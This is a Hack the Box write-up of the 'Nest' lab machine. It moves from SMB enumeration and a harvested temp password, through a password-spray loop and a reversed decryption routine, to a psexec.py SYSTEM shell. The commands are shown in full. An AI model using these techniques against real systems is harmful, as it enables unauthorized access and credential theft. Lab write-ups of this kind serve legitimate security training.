Hack the Box — Nest 10.10.10.178 Writeup

Fahmi J
10 min readMay 19, 2020

Nest is one of my favorite machines after Forest, I learned a lot about enumeration here, especially for SMB.

The machine starts with anonymous access on SMB, which allows me to obtain credentials of a temporary user. The credentials can be leveraged to read the other shares and obtain an encrypted password. The password can be decrypted with the VB project that is available on the shares. Further enumeration reveals a password for enabling debug mode of a custom application. With debug mode enabled, I’m able to read the application’s configuration and obtain encrypted Administrator password. Reversing the application allows me to decrypted the administrator password, which can then be used to gain administrator access.

Reconnaissance

Nmap

→ root@iamf «nest» «192.168.43.234»
$ nmap -p1-5000 -sC -sV -oA nmap/nest 10.10.10.178
Nmap scan report for htb.nest (10.10.10.178)
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
4386/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
| Reporting Service V1.2
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
| Reporting Service V1.2
| Unrecognised command
| Help:
| Reporting Service V1.2
| This service allows users to run queries against databases using the legacy HQK format
| AVAILABLE COMMANDS ---
| LIST
| SETDIR <Directory_Name>
| RUNQUERY <Query_ID>
| DEBUG <Password>
|_ HELP <Command>
Host script results:
|_clock-skew: -27s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-04-28T15:16:46
|_ start_date: 2020-04-28T04:20:37

nmap shows two ports open: SMB on port 445, and an unknown service on port 4386, but the fingerprints show it as ‘Reporting Service V1.2’.

Enumeration

TCP 445 — SMB

Anonymous access is allowed here.

→ root@iamf «nest» «192.168.43.234»
$ smbclient -N -L //10.10.10.178/

Data share

Enumeration on Data share with recurse mode shows two text files.

One of them is empty while the other one contains credentials for TempUser:Welcome2019.

→ root@iamf «smb» «192.168.43.234»
$ cat loot/Welcome\ Email.txt
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>
You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>
If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.
Username: TempUser
Password: welcome2019
Thank you
HR

Foothold

With TempUsers, I could access the Secure$ share.

Unfortunately, once I got to Secure$ share, I couldn’t list any single directory.

→ root@iamf «smb» «192.168.43.234»
$ smbclient -U 'TempUser%welcome2019' //10.10.10.178/Secure$
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \Finance\*
NT_STATUS_ACCESS_DENIED listing \HR\*
NT_STATUS_ACCESS_DENIED listing \IT\*

On the other hand, I do user enumeration with rpcclient.

With a little knowledge of scripting, I can filter the user.

→ root@iamf «nest» «192.168.43.234»
$ rpcclient -U 'TempUser%welcome2019' -c 'enumdomusers;quit' 10.10.10.178 | tr -d '[]' | cut -d ':' -f2 | cut -d ' ' -f1
Administrator
C.Smith
Guest
Service_HQK
TempUser

I did a password spray using a simple bash script with a pattern of username:username, but no luck

#!/bin/bash
for u in `cat rpcusers.txt`; do
echo -n “[*] user : $u “ &&
rpcclient -U “$u%$u” -c “getusername;quit” 10.10.10.178
done

I also check on users’ information to find a plain password in the description, but end up knowing the user flag is on c.smith.

img

I went back to SMB, I decided to download all the content in the Data share.

→ root@iamf «loot» «192.168.43.234»
$ smbget -R smb://10.10.10.178/Data/ -U TempUser # or use mget * inside smbclient

Here is the folder structure on Data

→ root@iamf «Data» «192.168.43.234»
$ tree
.
├── IT
│ ├── Archive
│ ├── Configs
│ │ ├── Adobe
│ │ │ ├── editing.xml
│ │ │ ├── Options.txt
│ │ │ ├── projects.xml
│ │ │ └── settings.xml
│ │ ├── Atlas
│ │ │ └── Temp.XML
│ │ ├── DLink
│ │ ├── Microsoft
│ │ │ └── Options.xml
│ │ ├── NotepadPlusPlus
│ │ │ ├── config.xml
│ │ │ └── shortcuts.xml
│ │ ├── RU Scanner
│ │ │ └── RU_config.xml
│ │ └── Server Manager
│ ├── Installs
│ ├── Reports
│ └── Tools
├── Production
├── Reports
└── Shared
├── Maintenance
│ └── Maintenance Alerts.txt
└── Templates
├── HR
│ └── Welcome Email.txt
└── Marketing

Notepad++ config on Data/IT/Configs/NotepadPlusPlus/config.xml contains interesting path.

... <snip>...
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
<File filename="C:\windows\System32\drivers\etc\hosts" />
<File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
<File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>
</NotepadPlus>

Next, on /Data/IT/Configs/RU Scanner/RU_config.xml, I found a password that belongs to c.smith

→ root@iamf «RU Scanner» «192.168.43.234»
$ cat RU_config.xml
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>389</Port>
<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>

It looks like a base64 encoded at first, but it is encrypted:

→ root@iamf «RU Scanner» «192.168.43.234»
$ echo 'fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=' | base64 -d
}13☺□♥□=X□J□BA□↓☺X*□Wc□f□□□?βc◄

Secure$ share

User carl doesn’t appear on my enumeration with rpcclient, so after discovering this path \\HTB-NEST\Secure$\IT\Carl\, I went back to Secure$ share and performed a recursive download there.

→ root@iamf «Data» «192.168.43.234»
$ smbget -R smb://10.10.10.178/Secure$/IT/Carl/ -U TempUser

Here is the Secure$ structure.

→ root@iamf «Secure$» «192.168.43.234»
$ tree
.
├── Docs
│ ├── ip.txt
│ └── mmc.txt
├── Reports
└── VB Projects
├── Production
└── WIP
└── RU
├── RUScanner
│ ├── bin
│ │ ├── Debug
│ │ └── Release
│ ├── ConfigFile.vb
│ ├── Module1.vb
│ ├── My Project
│ │ ├── Application.Designer.vb
│ │ ├── Application.myapp
│ │ ├── AssemblyInfo.vb
│ │ ├── Resources.Designer.vb
│ │ ├── Resources.resx
│ │ ├── Settings.Designer.vb
│ │ └── Settings.settings
│ ├── obj
│ │ └── x86
│ ├── RU Scanner.vbproj
│ ├── RU Scanner.vbproj.user
│ ├── SsoIntegration.vb
│ └── Utils.vb
└── RUScanner.sln

I just downloaded a VB Project!

Based on Module1.vb codes, RU_config.xml is loaded to the application, and from this line .Password = Utils.DecryptString(Config.Password).

Now I know this application able to decrypt c.smith’s password.

→ root@iamf «WIP» «192.168.43.234»
$ cat RU/RUScanner/Module1.vb
Module Module1
Sub Main()
Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}
End SubEnd Module

Decrypting c.smith password

The encrypted password can be decrypted easily by taking out the utils class and the decrypt function from Utils.vb, then call it on the main function. I used https://dotnetfiddle.net/ for this.

Here is how it looks like.

Imports System
Imports System.Text
Imports System.Security.Cryptography
Public Module Module1
Public Sub Main()
Dim encryptedPassword
encryptedPassword = "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="
Console.WriteLine("Decrypted Password: " +Utils.DecryptString(encryptedPassword))
End Sub
End Module
Public Class Utils
Public Shared Function DecryptString(EncryptedString As String) As String
If String.IsNullOrEmpty(EncryptedString) Then
Return String.Empty
Else
Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
End If
End Function
Public Shared Function Decrypt(ByVal cipherText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String
Dim initVectorBytes As Byte()
initVectorBytes = Encoding.ASCII.GetBytes(initVector)
Dim saltValueBytes As Byte()
saltValueBytes = Encoding.ASCII.GetBytes(saltValue)
Dim cipherTextBytes As Byte()
cipherTextBytes = Convert.FromBase64String(cipherText)
Dim password As New Rfc2898DeriveBytes(passPhrase, _
saltValueBytes, _
passwordIterations)
Dim keyBytes As Byte()
keyBytes = password.GetBytes(CInt(keySize / 8))
Dim symmetricKey As New AesCryptoServiceProvider
symmetricKey.Mode = CipherMode.CBC
Dim decryptor As ICryptoTransform
decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)
Dim memoryStream As IO.MemoryStream
memoryStream = New IO.MemoryStream(cipherTextBytes)
Dim cryptoStream As CryptoStream
cryptoStream = New CryptoStream(memoryStream, _
decryptor, _
CryptoStreamMode.Read)
Dim plainTextBytes As Byte()
ReDim plainTextBytes(cipherTextBytes.Length)
Dim decryptedByteCount As Integer
decryptedByteCount = cryptoStream.Read(plainTextBytes, _
0, _
plainTextBytes.Length)
memoryStream.Close()
cryptoStream.Close()
Dim plainText As String
plainText = Encoding.ASCII.GetString(plainTextBytes, _
0, _
decryptedByteCount)
Return plainText
End Function
End Class

Now I have c.smith’s password, xRxRxPANCAK3SxRxRx

Access as c.smith

With c.smith credentials, I do more enumeration on SMB.

First, I’ll look into the c.smith home directory.

→ root@iamf «smb» «192.168.43.234»
$ smbclient -U 'c.smith%xRxRxPANCAK3SxRxRx' //10.10.10.178/Users
Try "help" to get a list of possible commands.
smb: \C.Smith\> dir
. D 0 Sun Jan 26 02:21:44 2020
.. D 0 Sun Jan 26 02:21:44 2020
HQK Reporting D 0 Thu Aug 8 19:06:17 2019
user.txt A 32 Thu Aug 8 19:05:24 2019

I downloaded those files recursively to my machine.

→ root@iamf «c.smith» «192.168.43.234»
$ tree
.
├── HQK Reporting
│ ├── AD Integration Module
│ │ └── HqkLdap.exe
│ ├── Debug Mode Password.txt
│ └── HQK_Config_Backup.xml
└── user.txt

user.txt is the user flag.

→ root@iamf «c.smith» «192.168.43.234»
$ cat user.txt
cf71b25404be5d84fd827e05f426e987

HQK_Config_Backup.xml doesn’t contains any useful information

→ root@iamf «c.smith» «192.168.43.234»
$ cat HQK\ Reporting/HQK_Config_Backup.xml
<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>4386</Port>
<QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings>

Debug Mode Password.txt is empty file. But when I thought it was empty, I asked a hint for this.

This file is embedded with Alternate Data Stream (ADS). By using the allinfo command on the SMB, I can see it contains another data stream, Password:$Data.

img

To get that stream, I can just append :Password:$Data at the end of the file name.

smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time: Thu Aug 8 07:06:12 PM 2019 EDT
access_time: Thu Aug 8 07:06:12 PM 2019 EDT
write_time: Thu Aug 8 07:08:17 PM 2019 EDT
change_time: Thu Aug 8 07:08:17 PM 2019 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt":Password:$DATA
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA of size 15 as Debug Mode Password.txt:Password:$DATA (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

Now I can use the cat command to see the file content.

→ root@iamf «c.smith» «192.168.43.234»
$ cat Debug\ Mode\ Password.txt:Password:\$DATA
WBQ201953D8w

Privilege Escalation

Examination on HQK Reporting Service v1.2 (TCP 4386)

When visiting http://10.10.10.178:4386/, the browser return a session timeout with > symbol, this could imply that this service is cli-based

With telnet, I could access this service.

→ root@iamf «c.smith» «192.168.43.234»
$ telnet 10.10.10.178 4386

It shows more commands after the debug mode is enabled.

>debug WBQ201953D8w

Took me a minute to understand the commands, so basically

  • LIST is to list directory,
  • SHOWQUERY is to show file content,
  • RUNQUERY is to execute.
  • SETDIR is change directory.

Looking up into the LDAP directory, there is a file called ldap.conf that contains administrator credentials with another encrypted password.

img

I have a copy of HqkLdap.exe on c.smith’s loot directory. So I decided to copy HqkLdap.exe from Kali to my Windows and inspect the binary. I also created a copy of Ldap.conf.

Reversing HQKLdap.exe

Running strings HqkLdap.exe againts the app, I discovered that it was built with.NET, and there are no hard-coded credentials.

Using immunity/ollydbg is waste of time because I can’t really read assembly, instead I have a very useful tool for reversing and debugging .NET applications called dnSpy. It’s free on Github.

For this I’ll go straight to the application main function.

img

To run this program properly, a config file, which is ldap.conf, must be served as an argument to the application, and it also needs the presences of HqkDbImport.exe (These two must exist in the same folder)

So if I run it and I don’t fulfill the check, it will complain like this:

PS C:\Users\fahmi\Desktop>.\HqkLdap.exe Ldap.conf
Please ensure the optional database import module is installed

Next, I investigated the decrypt function, which was called on the main after the checks were completed.

img

On the next block, I see ldapSearchSettings.Password is assigned to ldap.password

img

From here, what I can try is:

  • Remove the part of codes that used to check for the existence of HqkDbImport.exe
  • Add another line to print out the password from ldap.Password.

I’ll use the edit feature to edit the main class.

First, I’ll get rid the line that used to check the existence of HqkDbImport.exe

public static void Main()
{
checked
{
try
{
if (MyProject.Application.CommandLineArgs.Count != 1)
{
Console.WriteLine("Invalid number of command line arguments");
}
else if (!File.Exists(MyProject.Application.CommandLineArgs[0]))
{
Console.WriteLine("Specified config file does not exist");
}
else {
...<snip> ...

Then I’ll add a new line code on the main function at line 56 to print ldap.Password to the console.

img

I tried to compile it back but an error occurred due to the unassigned local variable named enumerator, so I removed that variable and attempted to recompile it again.

It succeeded and I can export the modified program.

Now I can just run it and provide the ldap.conf as its argument and it works!

img

The password is: XtH4nkS4Pl4y1nGX

Shell as administrator

I can gain access as local system on the box using the administrator account and the decrypted password with psexec.py

→ root@iamf «c.smith» «192.168.43.234»
$ psexec.py HTB-NEST/Administrator:XtH4nkS4Pl4y1nGX@10.10.10.178
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Requesting shares on 10.10.10.178.....
[*] Found writable share ADMIN$
[*] Uploading file nQyIIpWk.exe
[*] Opening SVCManager on 10.10.10.178.....
[*] Creating service gfCe on 10.10.10.178.....
[*] Starting service gfCe.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system

--

--

Fahmi J

Just curious to learn how things work, especially in digital world.